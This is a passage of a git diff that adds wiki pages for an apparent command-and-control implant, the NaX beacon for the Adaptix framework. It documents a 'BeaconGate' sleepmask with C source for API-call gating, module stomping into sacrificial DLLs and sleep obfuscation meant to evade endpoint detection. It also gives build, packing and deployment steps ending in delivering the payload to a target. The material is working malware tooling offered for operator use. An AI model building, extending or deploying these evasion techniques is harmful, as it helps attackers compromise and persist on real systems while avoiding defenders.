must match ▲ +``` + +### Naming Convention + +All compile-time gate flags follow the rule: + +``` +#define NAX_GATE_ +``` + +| Win32 Function | Config.h Define | +|----------------|-----------------| +| `Sleep` | `NAX_GATE_SLEEP` | +| `WaitForSingleObject` | `NAX_GATE_WAITFORSINGLEOBJECT` | +| `WaitForMultipleObjects` | `NAX_GATE_WAITFORMULTIPLEOBJECTS` | +| `VirtualProtect` | `NAX_GATE_VIRTUALPROTECT` | + +The Go plugin auto-derives the define from the function name (`strings.ToUpper(name)`), so no lookup table is needed. The operator types the exact Win32 function name in the UI list and the code-side `#ifdef` guard uses the uppercase version. + +### Key Components + +**`GATE_API` enum** (`include/Gate.h`): +```c +typedef enum _GATE_API { + GATE_API_GENERIC = 0x00, + GATE_API_SLEEP = 0x01, + GATE_API_WAIT_FOR_SINGLE_OBJECT = 0x02, + GATE_API_WAIT_FOR_MULTIPLE_OBJECTS = 0x03, +} GATE_API; +``` + +**`FUNCTION_CALL` struct** (`include/Gate.h`): +```c +typedef struct _FUNCTION_CALL { + PVOID FunctionPtr; // target API address + UINT32 GateApi; // GATE_API tag for dispatch + UINT32 NumArgs; // argument count (0-10) + ULONG_PTR Args[10]; // arguments + ULONG_PTR RetValue; // return value passed back to beacon +} FUNCTION_CALL; +``` + +**`NAX_GATE_ORIGINALS` struct** (`include/Instance.h`): +```c +typedef struct { + PVOID Sleep; + PVOID WaitForSingleObject; + PVOID WaitForMultipleObjects; + PVOID VirtualProtect; +} NAX_GATE_ORIGINALS; +``` + +**`NAX_GATE_SWAP_TABLE`** (`include/Instance.h`): +```c +#define NAX_GATE_MAX_SWAPS 8 + +typedef struct { + PVOID* Slot; + PVOID Original; +} NAX_GATE_SWAP; + +typedef struct { + NAX_GATE_SWAP Entries[NAX_GATE_MAX_SWAPS]; + UINT32 Count; +} NAX_GATE_SWAP_TABLE; +``` + +`NAX_GATE_ORIGINALS` holds the real API addresses for per-API handler dispatch. The swap table (`GateSwaps` field in `NAX_INSTANCE`) tracks all gate registrations for dynamic unwiring via `NaxGateUnwireAll()`. Separate from the per-DLL structs (`NAX_KERNEL32`, etc.) to keep gate concerns isolated. Accessed as `Nax->GateOriginals.Sleep`, etc. + +**Gate wrappers** (`src_beacon/src/Commands/Sleepmask.c`): +- `NaxGateSleep()` - replaces `Nax->Kernel32.Sleep` +- `NaxGateWaitForSingleObject()` - replaces `Nax->Kernel32.WaitForSingleObject` +- `NaxGateWaitForMultipleObjects()` - replaces `Nax->Kernel32.WaitForMultipleObjects` +- Each wrapper sets `GateApi` to the correct enum value and reads `FunctionPtr` from `GateOriginals` + +**Sleepmask BOF** (`src_sleepmask/src/main.c`): +- Compiled as a COFF `.o` file, loaded by the beacon's BOF loader +- Runs from image-backed memory (module-stomped DLL `.text`) +- Entry point: `sleep_mask(void* NaxPtr, PFUNCTION_CALL FnCall)` +- Dispatches on `FnCall->GateApi` to per-API handler functions +- `HandleGeneric()` dispatches arbitrary APIs (0-10 args) via function pointer + +## Embedded Sleepmask + +The sleepmask BOF is embedded at build time in `Config_sleepmask.h` as a `NAX_SLEEPMASK_WRITE` macro. During beacon startup (`NaxSleepmaskInit`), the BOF bytes are written to a heap buffer, loaded via `NaxBofLoadResident`, and wired before the first sleep ever executes. + +This eliminates the "first sleep gap" - there is no window where raw kernel32 Sleep is exposed. + +### Build Pipeline + +``` +1. Operator generates payload with BeaconGate enabled +2. Go plugin compiles src_sleepmask/ → sleepmask.x64.o +3. Go plugin converts BOF bytes to Config_sleepmask.h (byte-by-byte WRITE macro) +4. Go plugin generates Config.h with #define NAX_GATE_SLEEP / NAX_GATE_WAITFORSINGLEOBJECT / ... +5. Beacon compiles with embedded sleepmask +6. On first run: NaxSleepmaskInit() → heap alloc → WRITE → BofLoadResident → wire gate +7. First sleep already goes through BeaconGate +``` + +### Runtime Reload (sleepmask-set) + +The `sleepmask-set` command rebuilds the sleepmask BOF from source and hot-loads it into a running beacon without redeploying. Use it when iterating on sleepmask logic (e.g., changing sleep obfuscation behavior, adding debug prints). + +**Workflow:** + +1. Edit sleepmask source files in `src_sleepmask/` +2. Run `sleepmask-set` (or `sleepmask-set -debug`) from the Adaptix operator console +3. The server rebuilds the BOF from source (`make clean && make` in `src_sleepmask/`) +4. Fresh `.o` bytes are sent to the beacon via `CMD_SLEEPMASK_SET` (0x32) +5. Beacon calls `NaxSleepmaskWire` → `NaxBofLoadResident` (frees old resident, loads new) +6. Gate wrappers are re-registered to route through the new `sleep_mask()` entry point +7. Next sleep cycle uses the updated sleepmask + +**Flags:** + +| Flag | Effect | +|------|--------| +| (none) | Release build — no debug prints from sleepmask | +| `-debug` | Debug build (`-DDEBUG`) — sleepmask emits `NaxDbg` prints | + +**Important:** The beacon must have been built with BeaconGate enabled. Without gate wrappers compiled into the beacon, the BOF loads but nothing routes through it. + +## Wiring Flow + +### 1. Beacon starts, resolves APIs + +Standard PEB walk resolves kernel32 function pointers including `Sleep`, `WaitForSingleObject`, and `WaitForMultipleObjects`. + +### 2. NaxSleepmaskInit loads embedded BOF + +Called during beacon init, before the heartbeat loop: +1. Allocates heap buffer of `NAX_SLEEPMASK_LEN` bytes +2. Writes embedded BOF bytes via `NAX_SLEEPMASK_WRITE(buf)` +3. Calls `NaxSleepmaskWire` → `NaxBofLoadResident` (permanent module-stomped load) +4. Backs up real function pointers to `Nax->GateOriginals.*` +5. Swaps function pointers to gate wrappers +6. Frees the temporary buffer (BOF is mapped elsewhere) + +### 3. Every subsequent call goes through the gate + +``` +Nax->Kernel32.Sleep(ms) + → NaxGateSleep(ms) // gate wrapper + → Nax->Gate(Nax, &fc) // sleepmask BOF (image-backed memory) + → HandleSleep(FnCall) + → NtWaitForSingleObject(hEvent, FALSE, &timeout) +``` + +## The .refptr Problem + +On MinGW x86_64, taking a function pointer across translation units generates a `.rdata$.refptr.FuncName` GOT-like section. When only `.text` is extracted for PIC shellcode, this section is lost. + +**Fix**: All gate wrappers and the code that takes their address (`NaxSleepmaskWire`) live in the **same translation unit** (`Sleepmask.c`). Same-TU references use direct RIP-relative `lea` instructions - no `.refptr` indirection needed. + +## Configuring BeaconGate + +### Step 1: Enable in the Adaptix UI + +1. Open the Adaptix client +2. Go to **Listeners** → select your HTTP or SMB listener → **Generate Payload** +3. Click the **BeaconGate** tab +4. Check **Enable BeaconGate** - this auto-enables: + - **Module Stomping** (required for image-backed BOF execution) + - The **Sleepmask DLL** field and gated APIs list become editable +5. **Sleepmask DLL** (default `msxml6.dll`): the sacrificial DLL for the dedicated sleepmask stomp slot. Must be different from the sync/async BOF DLLs. +6. The default list includes `Sleep`, `WaitForSingleObject`, `WaitForMultipleObjects` +6. Add or remove APIs using the text field + `+`/`-` buttons +7. Generate the payload + +The UI writes three config keys consumed by the Go plugin: +- `beacongate` → triggers sleepmask BOF compilation + embedding +- `sm_stomp_dll` → DLL for the dedicated sleepmask stomp slot (separate from sync/async BOFs) +- `gate_apis` → list of function names → each becomes `#define NAX_GATE_TOUPPER(name)` in Config.h + +### Step 2: Verify in Debug Build + +With a debug beacon, look for these log lines at startup: + +``` +[sleepmask] init: embedding 3594 bytes +[sleepmask] gated: Sleep (real=00007FFxxxxx) +[sleepmask] gated: WaitForSingleObject (real=00007FFxxxxx) +[sleepmask] gated: WaitForMultipleObjects (real=00007FFxxxxx) +[sleepmask] wired: gate=00007FFxxxxx +``` + +And on each sleep cycle: + +``` +[gate] Sleep(5000 ms) +[sleepmask] GateApi=0x01 NumArgs=1 FunctionPtr=00007FFxxxxx +[sleepmask] Sleep -> NtWaitForSingleObject(hEvent, 5000 ms) +[sleepmask] woke up +``` + +--- + +## Adding a New Gated API + +This section walks through adding a new API to BeaconGate end-to-end. We'll use `VirtualProtect` as the example. + +### Step 1: Add the GATE_API enum value + +Edit **both** Gate.h files (they must stay in sync): + +**`src_beacon/include/Gate.h`** and **`src_sleepmask/include/Gate.h`**: + +```c +typedef enum _GATE_API { + GATE_API_GENERIC = 0x00, + GATE_API_SLEEP = 0x01, + GATE_API_WAIT_FOR_SINGLE_OBJECT = 0x02, + GATE_API_WAIT_FOR_MULTIPLE_OBJECTS = 0x03, + GATE_API_VIRTUAL_PROTECT = 0x04, // ← new +} GATE_API; +``` + +Pick the next unused hex value. The enum tag is how the sleepmask knows which handler to call. + +### Step 2: Add the backup pointer + +**`src_beacon/include/Instance.h`** - add the original function pointer to `NAX_GATE_ORIGINALS`: + +```c +typedef struct { + PVOID Sleep; + PVOID WaitForSingleObject; + PVOID WaitForMultipleObjects; + PVOID VirtualProtect; // ← new +} NAX_GATE_ORIGINALS; +``` + +This struct is separate from the per-DLL structs and lives in `NAX_INSTANCE` as `GateOriginals`. + +### Step 3: Write the gate wrapper in Sleepmask.c + +**`src_beacon/src/Commands/Sleepmask.c`** - add the gate wrapper function, guarded by a compile-time `#ifdef` using the naming convention `NAX_GATE_` + `TOUPPER(FunctionName)`: + +```c +#ifdef NAX_GATE_VIRTUALPROTECT +FUNC BOOL WINAPI NaxGateVirtualProtect( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect ) { + G_INSTANCE; + + NaxDbg( Nax, "[gate] VirtualProtect(%p, %zu, 0x%lx)", lpAddress, dwSize, flNewProtect ); + + FUNCTION_CALL fc; + MmZero( &fc, sizeof( fc ) ); + + fc.FunctionPtr = Nax->GateOriginals.VirtualProtect; + fc.GateApi = GATE_API_VIRTUAL_PROTECT; + fc.NumArgs = 4; + fc.Args[0] = (ULONG_PTR)lpAddress; + fc.Args[1] = (ULONG_PTR)dwSize; + fc.Args[2] = (ULONG_PTR)flNewProtect; + fc.Args[3] = (ULONG_PTR)lpflOldProtect; + + ((FN_SM_ENTRY)Nax->Gate)( Nax, &fc ); + + return (BOOL)fc.RetValue; +} +#endif +``` + +**Critical rules:** +- The wrapper **must** be in `Sleepmask.c` (same TU as the wiring code) to avoid the `.refptr` problem +- Match the original API's exact signature and calling convention +- Set `GateApi` to your new enum value +- Read `FunctionPtr` from `Nax->GateOriginals.VirtualProtect`, not the swapped pointer + +### Step 4: Wire the gate in NaxSleepmaskWire + +In the same file, add the wiring block inside `NaxSleepmaskWire()`: + +```c +#ifdef NAX_GATE_VIRTUALPROTECT + if ( !Nax->GateOriginals.VirtualProtect ) + Nax->GateOriginals.VirtualProtect = (PVOID)Nax->Kernel32.VirtualProtect; + NaxGateRegister( Nax, (PVOID*)&Nax->Kernel32.VirtualProtect, (PVOID)NaxGateVirtualProtect ); + NaxDbg( Nax, "[sleepmask] gated: VirtualProtect (real=%p)", Nax->GateOriginals.VirtualProtect ); +#endif +``` + +This records the swap in the gate swap table (so `NaxGateUnwireAll()` can restore it) and swaps the function pointer to the gate wrapper. + +### Step 5: Add the sleepmask handler + +**`src_sleepmask/src/main.c`** - add a handler function and a case in the dispatcher: + +```c +/* ========= [ BOF imports ] ========= */ +__declspec(dllimport) BOOL WINAPI KERNEL32$VirtualProtect( LPVOID, SIZE_T, DWORD, PDWORD ); +#define VirtualProtect KERNEL32$VirtualProtect + +/* ========= [ per-API handlers ] ========= */ +static void HandleVirtualProtect( PFUNCTION_CALL FnCall ) { + LPVOID lpAddress = (LPVOID)FnCall->Args[0]; + SIZE_T dwSize = (SIZE_T)FnCall->Args[1]; + DWORD flNewProtect = (DWORD)FnCall->Args[2]; + PDWORD lpflOldProtect = (PDWORD)FnCall->Args[3]; + + BOOL ret = VirtualProtect( lpAddress, dwSize, flNewProtect, lpflOldProtect ); + FnCall->RetValue = (ULONG_PTR)ret; +} + +/* ========= [ entry point ] ========= */ +void sleep_mask( void* NaxPtr, PFUNCTION_CALL FnCall ) { + switch ( FnCall->GateApi ) { + case GATE_API_SLEEP: HandleSleep( FnCall ); return; + case GATE_API_WAIT_FOR_SINGLE_OBJECT: HandleWaitForSingleObject( FnCall ); return; + case GATE_API_WAIT_FOR_MULTIPLE_OBJECTS: HandleWaitForMultipleObjects( FnCall ); return; + case GATE_API_VIRTUAL_PROTECT: HandleVirtualProtect( FnCall ); return; + default: HandleGeneric( FnCall ); return; + } +} +``` + +If the API doesn't need special handling, you can skip the dedicated handler and let it fall through to `HandleGeneric` - the generic dispatcher calls the function pointer with the correct number of args based on `NumArgs`. Dedicated handlers are for APIs that need custom behavior (e.g., the Sleep handler's dummy event technique). If you want to plug in your own sleep obfuscation technique, `HandleSleep` is the right place to start. + +### Step 6: Add the name to the UI list (no code changes needed) + +Because the UI uses a list widget, the operator simply types the function name in the BeaconGate tab. The Go plugin auto-derives `#define NAX_GATE_VIRTUALPROTECT` from `"VirtualProtect"` via `strings.ToUpper()`. No changes needed in `pl_build.go` or `pl_main.go`. + +### Summary: All Files to Touch + +| File | What to add | +|------|-------------| +| `src_beacon/include/Gate.h` | New `GATE_API_*` enum value | +| `src_sleepmask/include/Gate.h` | Same enum value (keep in sync) | +| `src_beacon/include/Instance.h` | `PVOID FunctionName;` in `NAX_GATE_ORIGINALS` | +| `src_beacon/src/Commands/Sleepmask.c` | `#ifdef NAX_GATE_TOUPPER` gate wrapper + `NaxGateRegister()` wiring | +| `src_sleepmask/src/main.c` | BOF import + handler function + switch case | + +Note: **no Go plugin or AxScript changes needed** - the list-based UI and dynamic `TOUPPER()` conversion handle any function name automatically. + +### When to Use HandleGeneric vs. a Dedicated Handler + +- **HandleGeneric**: The API is called normally with its real function pointer. Use when you just want clean call stacks without changing behavior. Most APIs belong here. +- **Dedicated handler**: The API needs special behavior — for example, `HandleSleep` creates a dummy event and waits on it via `NtWaitForSingleObject` instead of calling `Sleep` directly. Write a dedicated handler when you need to modify the call itself or implement your own sleep obfuscation logic. + +If you don't write a handler, the `default:` case in the sleepmask dispatcher routes to `HandleGeneric`, which calls the function pointer with the correct number of args based on `NumArgs`. You still need the gate wrapper on the beacon side (to intercept the call and build FUNCTION_CALL), but the sleepmask side "just works." + +--- + +## BOF Symbol Resolution + +The sleepmask is a standard BOF. External symbols use the `MODULE$FUNCTION` convention: + +```c +__declspec(dllimport) DWORD WINAPI KERNEL32$WaitForSingleObject( HANDLE, DWORD ); +#define WaitForSingleObject KERNEL32$WaitForSingleObject +``` + +The beacon's COFF loader splits on `$`, calls `LoadLibraryA(module)` + `GetProcAddress(function)` to resolve each symbol at load time. + +## Resident BOF Loading & Dedicated SmSlot + +Unlike normal BOFs which are loaded, executed, and freed, the sleepmask uses **resident loading** (`NaxBofLoadResident`). The BOF stays mapped in memory permanently because beacon calls it on every heartbeat. + +### The Problem: Slot Contention + +Previously the sleepmask occupied the sync stomp slot, blocking all regular sync BOFs from module stomping. When a command BOF ran (e.g., whoami), it couldn't stomp because the sync slot was permanently occupied → fell back to private memory → call stacks showed PRV addresses. + +### The Fix: Dedicated Sleepmask Stomp Slot (SmSlot) + +The `BOF_STOMP_POOL` now has a dedicated `SmSlot` exclusively for the resident sleepmask BOF. It is loaded from a separate DLL (configurable as "Sleepmask DLL" in the BeaconGate tab, default `msxml6.dll`). + +```c +typedef struct { + BOF_STOMP_SLOT SyncSlot; // regular sync BOFs + BOF_STOMP_SLOT AsyncSlots[]; // async BOF jobs + BOF_STOMP_SLOT SmSlot; // ← dedicated sleepmask slot + BYTE SmStompReq; // flag: route next stomp ops to SmSlot +} BOF_STOMP_POOL; +``` + +**How it works:** +1. `NaxBofStompInit` initializes SmSlot from `Config.SmStompDll` (a separate DLL from sync/async) +2. `NaxBofLoadResident` sets `SmStompReq=TRUE` before allocating +3. All stomp functions (`Alloc`, `Protect`, `Pdata`, `Free`) check `SmStompReq` first and pick SmSlot +4. After loading, `SmStompReq` is cleared - SmSlot.InUse stays TRUE permanently +5. Regular BOFs never see SmSlot, so the sync slot remains free + +**Result:** The sleepmask runs from its own image-backed DLL (clean call stack), and sync/async BOF stomping works normally alongside it. + +## Sleep Obfuscation + +The sleepmask supports optional sleep obfuscation selected at build time via the operator UI's **SleepObf** combo box. + +### WFSO PoC (SleepObf=On) + +When `SleepObf` is enabled, `HandleSleep` replaces the direct `Sleep` call with a dummy-event wait via native NT APIs. This ensures the sleeping thread's call stack originates from `ntdll` rather than `kernel32`, and the wait target is a transient event handle rather than the process pseudo-handle. + +**Implementation** (`src_sleepmask/src/main.c`): + +```c +static void HandleSleep( PFUNCTION_CALL FnCall ) { + DWORD ms = (DWORD)FnCall->Args[0]; + + // Convert milliseconds to a negative 100ns LARGE_INTEGER + LARGE_INTEGER timeout; + timeout.QuadPart = -((LONGLONG)ms * 10000); + + // Create a one-shot dummy event (auto-reset, non-signalled) + HANDLE hEvent = NULL; + NtCreateEvent( &hEvent, EVENT_ALL_ACCESS, NULL, SynchronizationEvent, FALSE ); + + // Wait on the dummy event — it will never be signalled, so this + // blocks for exactly `timeout` before returning STATUS_TIMEOUT + NtWaitForSingleObject( hEvent, FALSE, &timeout ); + + NtClose( hEvent ); +} +``` + +`HandleWaitForSingleObject` and `HandleWaitForMultipleObjects` are pass-throughs: they call `NtWaitForSingleObject` (or `WaitForMultipleObjects`) directly on the original handle. `HandleVirtualProtect` calls `VirtualProtect` directly. `HandleGeneric` dispatches up to 10 args via a function pointer cast. + +**When SleepObf=Off:** `HandleSleep` falls through to `HandleGeneric`, which calls the real `Sleep` function pointer via `FnCall->FunctionPtr` with the original arguments. Behavior is identical to calling Sleep directly, except the call originates from image-backed memory. + +**`NAX_SM_CONFIG`** (shared config struct between beacon and sleepmask): + +```c +typedef struct { + UINT8 SleepObf; // 0 = off, 1 = on + UINT8 _pad[3]; +} NAX_SM_CONFIG; +``` + +**Extending this:** `HandleSleep` is the designated extension point for sleep obfuscation. Replace its body with your own technique — timer queues, APC chains, or anything else — without touching the gate wiring or any other handler. The rest of the architecture stays the same. + +### Operator Configuration + +In the Adaptix UI payload generation dialog: + +| Field | Values | Effect | +|-------|--------|--------| +| **SleepObf** | Off / On | Enables WFSO dummy-event sleep obfuscation | +| **Sleepmask DLL** | e.g. `msxml6.dll` | Sacrificial DLL for the sleepmask's dedicated stomp slot | + +The `sleepobf-config` command can toggle sleep obfuscation at runtime: + +``` +sleepobf-config {sleep_obf} +``` + +Where `{sleep_obf}` is `on` or `off`. + +## Files + +| File | Role | +|------|------| +| `src_beacon/include/Gate.h` | `GATE_API` enum, `FUNCTION_CALL` struct, `FN0`-`FN10` typedefs | +| `src_beacon/include/Config.h` | `SleepObf` config field | +| `src_beacon/include/Config_sleepmask.h` | Sleepmask config struct shared with beacon (`NAX_SM_CONFIG`) | +| `src_beacon/include/Instance.h` | `NAX_GATE_ORIGINALS` struct, `Gate` entry pointer in NAX_INSTANCE | +| `src_beacon/src/Commands/Sleepmask.c` | Gate wrappers + `NaxSleepmaskInit` + `NaxSleepmaskWire` + runtime reload | +| `src_beacon/src/Commands/Dispatch.c` | Routes `CMD_SLEEPMASK_SET` to handler | +| `src_beacon/src/Main.c` | Calls `NaxSleepmaskInit()` at startup | +| `src_sleepmask/include/Gate.h` | Sleepmask-local copy of `GATE_API` enum and `FUNCTION_CALL` struct (must stay in sync with beacon's) | +| `src_sleepmask/include/Imports.h` | Sleepmask BOF import declarations | +| `src_sleepmask/src/main.c` | Sleepmask BOF entry (`sleep_mask`), per-API handlers, `HandleGeneric` dispatcher | +| `src_server/agent_nonameax/pl_build.go` | Config.h generation with `NAX_GATE_TOUPPER` defines + `Config_sleepmask.h` | +| `src_server/agent_nonameax/pl_main.go` | Reads `gate_apis` list, builds sleepmask BOF, embeds in payload | +| `src_server/agent_nonameax/ax_config.axs` | BeaconGate UI tab, SleepObf config, `sleepmask-set` command | diff --git a/wiki/Build-and-Deploy.md b/wiki/Build-and-Deploy.md new file mode 100644 index 0000000..bf7d744 --- /dev/null +++ b/wiki/Build-and-Deploy.md @@ -0,0 +1,310 @@ +# Build and Deploy + +This page covers the toolchain prerequisites, build commands, and deployment steps needed to compile the NaX beacon and loader, build the Go server plugins, and deploy everything to the Adaptix Framework. + +## Prerequisites + +| Tool | Version | Purpose | +|------|---------|---------| +| `x86_64-w64-mingw32-gcc` | MinGW-w64 | Cross-compile the PIC beacon (C, targeting Windows x64) | +| `x86_64-w64-mingw32-g++` | MinGW-w64 | Cross-compile the Stardust-pattern loader (compiled as C++ for `constexpr`) | +| `nasm` | any recent | Assemble `Entry.x64.asm` (beacon) and `Stardust.asm` (loader) | +| `objcopy` | binutils | Extract `.text`, `.pdata`, `.xdata` sections from linked PEs | +| Python 3 | 3.8+ | Build scripts (`pack_nax.py`, `build.py`, `pe_text_rva.py`) | +| Go | 1.21+ | Server plugins are built as Go shared libraries (`-buildmode=plugin`) | +| Adaptix Framework | latest | The C2 teamserver and operator client | + +On Debian/Kali, install the cross-compilation toolchain with: + +```bash +sudo apt install mingw-w64 nasm binutils python3 +``` + +Go must be installed separately; the server Makefile expects it at `/usr/local/go/bin/go`. + +## Repository Structure + +``` +Makefile # Top-level: beacon + loader -> nax.x64.bin +src_beacon/ # PIC shellcode beacon (C, MinGW cross-compile) + asm/Entry.x64.asm # NASM entry stub + include/ # Instance.h, Wire.h, Config.h, Bof.h, Macros.h, ... + src/Main.c # Heartbeat loop + src/Core/ # Bootstrap, Ldr, Config, Crypto, Packer + src/Transport/ # Http, HttpCodec, Smb, Profile, PackerProfile, Pivot + src/Commands/ # Dispatch, Whoami, Sleep, Screenshot, Download, ... + src/Bof/ # Bof, BofStomp, Jobs, Loader + Makefile # Beacon sub-make + Linker.ld # Custom linker script +src_loader/ # Stardust-pattern UDRL loader + asm/x64/Stardust.asm # NASM entry + StRipStart/StRipEnd markers + include/ # Common.h, Constexpr.h, Loader.h, Native.h, ... + src/ # PreMain.c, Main.c, Ldr.c, Pe.c, Stomp.c, Exec.c, Utils.c + scripts/ # Linker.ld, build.py, pe helpers + Makefile # Loader sub-make +src_server/ # Go plugins + agent_nonameax/ # Agent extender (build, commands, crypto, wire, format) + listener_nonameax_http/ # HTTP listener extender (transport, profile transforms) + listener_nonameax_smb/ # SMB listener extender + service_nax_store/ # Service plugin (NaX Store) + Makefile # Builds + deploys all plugins to Server/extenders/ +scripts/ # pack_nax.py (combine loader + header + beacon + unwind) +profiles/ # Malleable C2 profile JSON files +build/ # Output artifacts (gitignored) +``` + +## Build Commands + +### Full Builds + +All commands are run from the repository root. + +```bash +make # Release build -> build/nax.x64.bin +make debug # Debug build -> build/nax.x64.debug.bin +make clean # Remove all build artifacts (loader + beacon + output) +``` + +### Sub-Makes + +Build individual components in isolation: + +```bash +make beacon # Beacon only (src_beacon/) +make loader # Loader only (src_loader/) +``` + +### Incremental Builds + +When only `Config.c` has changed (profile URL, sleep timer, C2 address), a link-only rebuild is much faster than a full build. The `link` target recompiles `Config.c` and re-links without touching other objects. + +```bash +make link # Release incremental: recompile Config.c + re-link + repack +make debug-link # Debug incremental: same for debug variant +``` + +If any header besides `Config.h` has changed since the last build, both targets detect this and automatically fall back to a full rebuild with a warning: + +``` + WARN headers changed - full rebuild required +``` + +### Module Stomping + +Module stomping loads the beacon into an image-backed memory region by overwriting a sacrificial DLL's `.text` section, avoiding the executable-private-memory detection heuristic. + +```bash +make MODULE_STOMP=1 # Enable module stomping (default DLL: chakra.dll) +make MODULE_STOMP=1 STOMP_DLL=mshtml.dll # Custom sacrificial DLL +make MODULE_STOMP=1 STOMP_PDATA=1 # Include .pdata stomping for clean stack walks +``` + +By default, `MODULE_STOMP=0` and the loader uses `VirtualAlloc` for beacon memory. + +### Technique Selection (Compile-Time Defines) + +These flags are passed to the loader and control its runtime behavior: + +| Flag | Values | Default | Effect | +|------|--------|---------|--------| +| `NAX_STOMP_MODE` | 0 / 1 | 1 | 0 = VirtualAlloc fallback, 1 = module stomp | +| `NAX_EXEC_MODE` | 0 / 1 | 1 | 0 = CreateThread, 1 = ThreadPool (TppWorkerThread) | + +```bash +make NAX_STOMP_MODE=1 NAX_EXEC_MODE=1 # Module stomp + thread pool (default) +make NAX_STOMP_MODE=0 NAX_EXEC_MODE=0 # VirtualAlloc + CreateThread +``` + +### Transport Selection + +The beacon supports multiple transport backends, selected at compile time: + +| Flag | Value | Transport | +|------|-------|-----------| +| `NAX_TRANSPORT_PROFILE` | 0 (default) | HTTP (WinHTTP, proxy-aware) | +| `NAX_TRANSPORT_PROFILE` | 1 | SMB (named pipe, for peer-to-peer pivots) | + +```bash +make NAX_TRANSPORT_PROFILE=0 # HTTP transport (default) +make NAX_TRANSPORT_PROFILE=1 # SMB transport +``` + +HTTP and SMB builds use separate object directories (`build/http/` and `build/smb/`) so they can coexist without `make clean` between switches. + +### Go Server Plugins + +Build and deploy all server plugins in one step from the repository root: + +```bash +make -C src_server # Build + deploy: agent, HTTP listener, SMB listener, service +``` + +Or build individual plugins: + +```bash +make -C src_server agent # Agent extender only +make -C src_server listener # HTTP listener only +make -C src_server listener-smb # SMB listener only +make -C src_server service # NaX Store service plugin only +``` + +Run plugin unit tests: + +```bash +make -C src_server test +``` + +The server Makefile automatically copies `.so`, `config.yaml`, and `ax_config.axs` files to the deployment directories under `Server/extenders/`. + +**GOEXPERIMENT**: The Go plugins must be compiled with the same `GOEXPERIMENT` flags used to build the Adaptix teamserver binary. The server Makefile sets `GOEXPERIMENT=jsonv2,greenteagc` by default. Verify against the deployed binary with: + +```bash +strings Server/adaptixserver | grep '^go[0-9]' +``` + +## Build Pipeline + +A `make` invocation runs three stages: + +### Stage 1: Loader + +``` +Stardust.asm --[nasm]--> asm_Stardust.x64.o +*.c --[g++]---> nax_*.x64.o + --[g++]---> nax_loader.x64.exe (linked with Linker.ld) + --[objcopy]--> nax_loader.x64.bin (.text section only) +``` + +The loader is compiled as C++ (`x86_64-w64-mingw32-g++`) to support `constexpr` hash computation. All functions use `extern "C"` linkage. + +### Stage 2: Beacon + +``` +Entry.x64.asm --[nasm]--> Entry.obj +*.c --[gcc]---> *.obj + --[gcc]---> beacon.x64.exe (linked with Linker.ld) + --[objcopy]--> beacon.x64.bin (.text section) + --[objcopy]--> beacon.pdata.bin (.pdata section) + --[objcopy]--> beacon.xdata.bin (.xdata section) + --[python3]--> beacon.text_rva (.text virtual address) +``` + +The beacon is compiled as C (`x86_64-w64-mingw32-gcc`) with aggressive size optimization (`-Os`), no CRT (`-nostdlib`), and position-independent code (`-fPIC`). The `.pdata` and `.xdata` sections carry structured exception handling (SEH) unwind data for clean stack walks. + +### Stage 3: Pack + +``` +pack_nax.py combines: + nax_loader.x64.bin (loader shellcode) + + NaxHeader v2 (160 bytes) (magic "NAX2", flags, sizes, offsets, DLL name) + + beacon.x64.bin (beacon shellcode) + + beacon.pdata.bin (normalized .pdata entries) + + beacon.xdata.bin (unwind info) + --> nax.x64.bin (final payload) +``` + +The NaxHeader v2 structure (160 bytes) includes: +- Magic bytes `0x4E415832` ("NAX2") +- Flags: `FLAG_MODULE_STOMP` (0x0001), `FLAG_STOMP_PDATA` (0x0002) +- Beacon size, .pdata size, .xdata size +- .text RVA (used to normalize .pdata entries to 0-based offsets) +- Sacrificial DLL name as a wide string (up to 64 WCHAR characters) + +The `pack_nax.py` script normalizes `.pdata` RUNTIME_FUNCTION entries by converting absolute RVAs to 0-based offsets. The loader adds the target DLL's base RVA at runtime. + +### Server-Side Build (BuildPayload) + +The Go agent plugin's `BuildPayload()` function performs this same three-stage pipeline at runtime when an operator generates a payload through the Adaptix UI. It: + +1. Generates `Config.h` from operator-selected options (C2 URL, sleep, jitter, profile, etc.) +2. Invokes the cross-compiler and packer +3. Returns the final `nax.x64.bin` blob to the teamserver + +## Important Build Rules + +**Always `make clean` after header changes.** If you modify any header file other than `Config.h` or `Config_profile.h`, you must run `make clean && make`. Stale object files compiled against old struct layouts cause silent runtime corruption (wrong offsets, garbage field reads, access violations in the beacon). + +**`make link` is safe for Config.c-only changes.** Changing the C2 URL, sleep timer, jitter, or profile selection only touches `Config.c` / `Config.h`. The `link` target detects this case and avoids a full rebuild. If it detects that structural headers have changed, it falls back automatically. + +**Debug builds include console output.** The `DEBUG` and `DEBUG_PIC` preprocessor defines gate `NaxDbg()` / `NaxDbgx()` output. Release builds strip all debug code. Debug output is visible in the Windows console, DebugView, and x64dbg's log window. + +## Deployment to Adaptix + +### 1. Build and Deploy Plugins + +The server Makefile handles both compilation and deployment: + +```bash +make -C src_server +``` + +This copies the following to `Server/extenders/`: + +``` +Server/extenders/ + agent_nonameax/ + agent_nonameax.so + config.yaml + ax_config.axs + listener_nonameax_http/ + listener_nonameax_http.so + config.yaml + ax_config.axs + listener_nonameax_smb/ + listener_nonameax_smb.so + config.yaml + ax_config.axs + service_nax_store/ + nax_store.so + config.yaml + ax_config.axs +``` + +### 2. Register Extenders in profile.yaml + +Adaptix only loads extenders that are explicitly listed in `Server/profile.yaml`. Add all NaX plugins: + +```yaml +extenders: + - agent_nonameax + - listener_nonameax_http + - listener_nonameax_smb + - service_nax_store +``` + +### 3. Watermark + +The agent watermark is configured in `src_server/agent_nonameax/config.yaml`: + +```yaml +agent_watermark: "a04a4178" +``` + +This must be exactly 8 hex characters (4 bytes). It identifies NaX agents in the Adaptix teamserver and must match the value in `profile.yaml` if the server enforces watermark validation. + +### 4. Start the Teamserver + +```bash +cd Server && ./teamserver +``` + +The teamserver loads all registered extender `.so` files on startup. After launch: + +1. Open the Adaptix client and connect to the teamserver +2. Create a listener (NoNameAxHTTP or NoNameAxSMB) through the Listeners panel +3. Generate a payload through the Payloads panel -- this triggers `BuildPayload()` server-side +4. Deploy the generated `nax.x64.bin` to the target + +## Quick Reference + +| Task | Command | +|------|---------| +| Full release build | `make` | +| Full debug build | `make debug` | +| Module stomp + pdata | `make MODULE_STOMP=1 STOMP_PDATA=1` | +| SMB transport | `make NAX_TRANSPORT_PROFILE=1` | +| Config-only rebuild | `make link` | +| Build all plugins | `make -C src_server` | +| Run plugin tests | `make -C src_server test` | +| Deploy + start server | `make -C src_server && cd Server && ./teamserver` | +| 